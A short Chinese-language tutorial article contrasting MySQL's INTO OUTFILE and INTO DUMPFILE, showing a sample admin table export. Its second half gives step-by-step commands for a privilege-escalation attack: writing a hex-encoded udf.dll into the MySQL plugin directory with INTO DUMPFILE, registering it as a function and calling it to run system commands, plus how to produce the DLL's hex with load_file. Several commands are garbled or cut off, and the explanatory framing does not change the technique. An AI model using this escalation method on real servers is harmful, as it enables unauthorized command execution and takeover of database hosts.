mysql中dumpfile與outfile函數(shù)的區(qū)別是什么

139次閱讀

共計(jì) 1513 個字符，預(yù)計(jì)需要花費(fèi) 4 分鐘才能閱讀完成。

這篇文章將為大家詳細(xì)講解有關(guān) mysql 中 dumpfile 與 outfile 函數(shù)的區(qū)別是什么，文章內(nèi)容質(zhì)量較高，因此丸趣 TV 小編分享給大家做個參考，希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

如下表 admin

mysql select * from admin;

+—–+———–+———+

| uid | name | pass |

+—-+————+———+

| 1 | admin | baidusb |

| 2 | root | hacksb |
| 3 | manage | nimei |

| 4 | boss | helensb |

| 5 | guanli | admin |

| 6 | superuser | G0Ood |

+—-+————+———+

mysql select * from admin into outfile /home/seclab/test/test1.txt

Query OK,1 row affected (0.00 sec)

我是想將這些內(nèi)容導(dǎo)出到一個 txt 文件, 事實(shí)上是可以完整導(dǎo)出每行記錄的.
這個很適合導(dǎo)庫

而 into dump 是不行的它只能導(dǎo)出一行數(shù)據(jù)!

若我們想把一個可執(zhí)行 2 進(jìn)制文件用 into outfile 函數(shù)導(dǎo)出
事實(shí)上導(dǎo)出后就會被破壞

因?yàn)?into outfile 函數(shù) 會在行末端寫入新行更致命的是會轉(zhuǎn)義換行符
這樣的話這個 2 進(jìn)制可執(zhí)行文件就會被破壞

這時候我們用 into dumpfile 就能導(dǎo)出一個完整能執(zhí)行的 2 進(jìn)制文件
into dumpfile 函數(shù)不對任何列或行進(jìn)行終止，也不執(zhí)行任何轉(zhuǎn)義處理

如在無 web 腳本執(zhí)行但是有 mysql root 執(zhí)行的環(huán)境下我們就可以通過
into dump 函數(shù)導(dǎo)入 udf.dll 進(jìn)行提權(quán)

mysql show variable like %plugin%

+—————-+——————————————+
|Variable_name | Value |
+—————-+——————————————+
| plugin_dir |c:\mysql\mysql server 5.1\lib/plugin |
+—————-+——————————————+

mysql select unhex(udf.dll hex code) into dumpfile c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll
mysql select * from func; #查看是否有人創(chuàng)建過 udf 如果有就可以省略
mysql create function MyCmd returns string soname c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll
mysql select MyCmd(whoam

一點(diǎn)小知識點(diǎn):

如何獲取該 udf.dll 文件的 16 進(jìn)制值 (hex)?
我們可以本地搭建 mysql 環(huán)境找個可以用的 udf.dll 文件執(zhí)行下面操作

mysql select hex(load_file ( c://temp/xxoo.dll)) into outfile c:/windows/temp/xxoo.txt